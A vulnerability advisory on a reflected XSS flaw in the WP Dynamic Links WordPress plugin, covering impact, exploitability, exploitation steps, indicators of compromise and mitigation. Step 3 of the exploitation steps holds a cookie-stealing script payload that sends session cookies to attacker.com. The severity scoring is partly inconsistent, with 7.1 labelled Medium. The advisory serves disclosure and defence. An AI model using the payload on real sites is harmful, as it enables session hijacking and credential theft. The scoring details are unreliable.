CVE-2025-49038
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-49038 is a Reflected Cross-Site Scripting (XSS) vulnerability in the Soflyy WP Dynamic Links WordPress plugin, affecting all versions up to and including 1.0.1. The vulnerability was reported by researcher Nguyen Xuan Chien on July 28, 2025, and published by Patchstack on August 12, 2025. It carries a CVSS v3.1 base score of 7.1 (Medium), and no official patch from the vendor was available at the time of disclosure (Patchstack).

Technical details

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the reflected type. User-supplied input is not properly sanitized or encoded before being rendered in the browser, allowing an attacker to craft a malicious URL containing a JavaScript payload that executes in the victim's browser context when the link is visited. Exploitation requires no authentication (unauthenticated attacker) but does require user interaction — a privileged user must click a crafted link or visit a malicious page (Patchstack).

Impact

Successful exploitation allows an attacker to inject and execute arbitrary JavaScript in the browser of a victim who interacts with a crafted URL, within the context of the affected WordPress site. This can lead to session hijacking, credential theft, unauthorized actions performed on behalf of the victim (such as administrative changes if the victim is a privileged user), and delivery of malicious redirects or advertisements to site visitors. The scope is marked as Changed (C:L/I:L/A:L in the CVSS vector), indicating potential impact beyond the vulnerable component itself (Patchstack).

Exploitability

No evidence of active in-the-wild exploitation has been reported at this time, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. The EPSS score is approximately 0.033%, indicating a low near-term probability of exploitation. However, Patchstack notes that vulnerabilities of this class are commonly used in mass-exploit campaigns targeting thousands of WordPress sites regardless of their size or traffic. No public PoC exploit code has been identified (Patchstack).

Exploitation steps

  1. Reconnaissance: Identify WordPress sites running the WP Dynamic Links plugin version 1.0.1 or earlier using tools like WPScan, Shodan, or Google dorks targeting plugin-specific file paths.
  2. Identify vulnerable parameter: Analyze the plugin's request handling to locate the unsanitized input parameter that is reflected in the HTTP response without proper encoding.
  3. Craft malicious URL: Construct a URL targeting the vulnerable WordPress page/endpoint with a reflected XSS payload embedded in the vulnerable parameter, e.g., https://target.com/?vulnerable_param=<script>document.location='https://attacker.com/steal?c='+document.cookie</script>.
  4. Deliver payload: Send the crafted URL to a privileged WordPress user (e.g., administrator) via phishing email, social engineering, or by embedding it in a comment or message on the site.
  5. Achieve objective: When the victim clicks the link and their browser renders the reflected payload, the attacker's JavaScript executes — enabling session cookie theft, credential harvesting, or unauthorized administrative actions on the WordPress site (Patchstack).

Indicators of compromise

  • Network: Outbound requests from victim browsers to attacker-controlled domains shortly after visiting a WordPress page with the WP Dynamic Links plugin; unusual URL parameters containing encoded JavaScript (<script>, %3Cscript%3E, javascript:, onerror=, etc.) in web server access logs.
  • Logs: WordPress or web server access logs showing GET/POST requests to plugin-related endpoints with anomalous query string values containing HTML or JavaScript fragments; referrer headers pointing to external phishing pages.
  • File System: No direct file system artifacts expected for reflected XSS, but check for newly created or modified PHP files in the wp-content/plugins/wp-dynamic-links/ directory that may indicate follow-on compromise.
  • Process/Behavior: Unexpected administrative account creation, plugin/theme changes, or settings modifications in WordPress audit logs following a suspicious link click by an admin user (Patchstack).

Mitigation and workarounds

As of the disclosure date, no official patch from the plugin developer (Soflyy) was available for WP Dynamic Links. Site administrators should remove or deactivate the plugin until an official fix is released. Patchstack has issued a virtual patching/mitigation rule for subscribers that blocks exploitation attempts without requiring a code-level fix. Additionally, implementing a Web Application Firewall (WAF) with XSS filtering rules can reduce exposure (Patchstack).

Additional resources


SourceThis report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-18044NONEN/A
  • estatik
NoYesAug 12, 2026
CVE-2026-17008NONEN/A
  • quick-paypal-payments
NoNoAug 12, 2026
CVE-2026-16990NONEN/A
  • wp-paypal
NoNoAug 12, 2026
CVE-2026-16747NONEN/A
  • kirki
NoYesAug 12, 2026
CVE-2026-16621NONEN/A
  • woo-paypal-gateway
NoYesAug 12, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management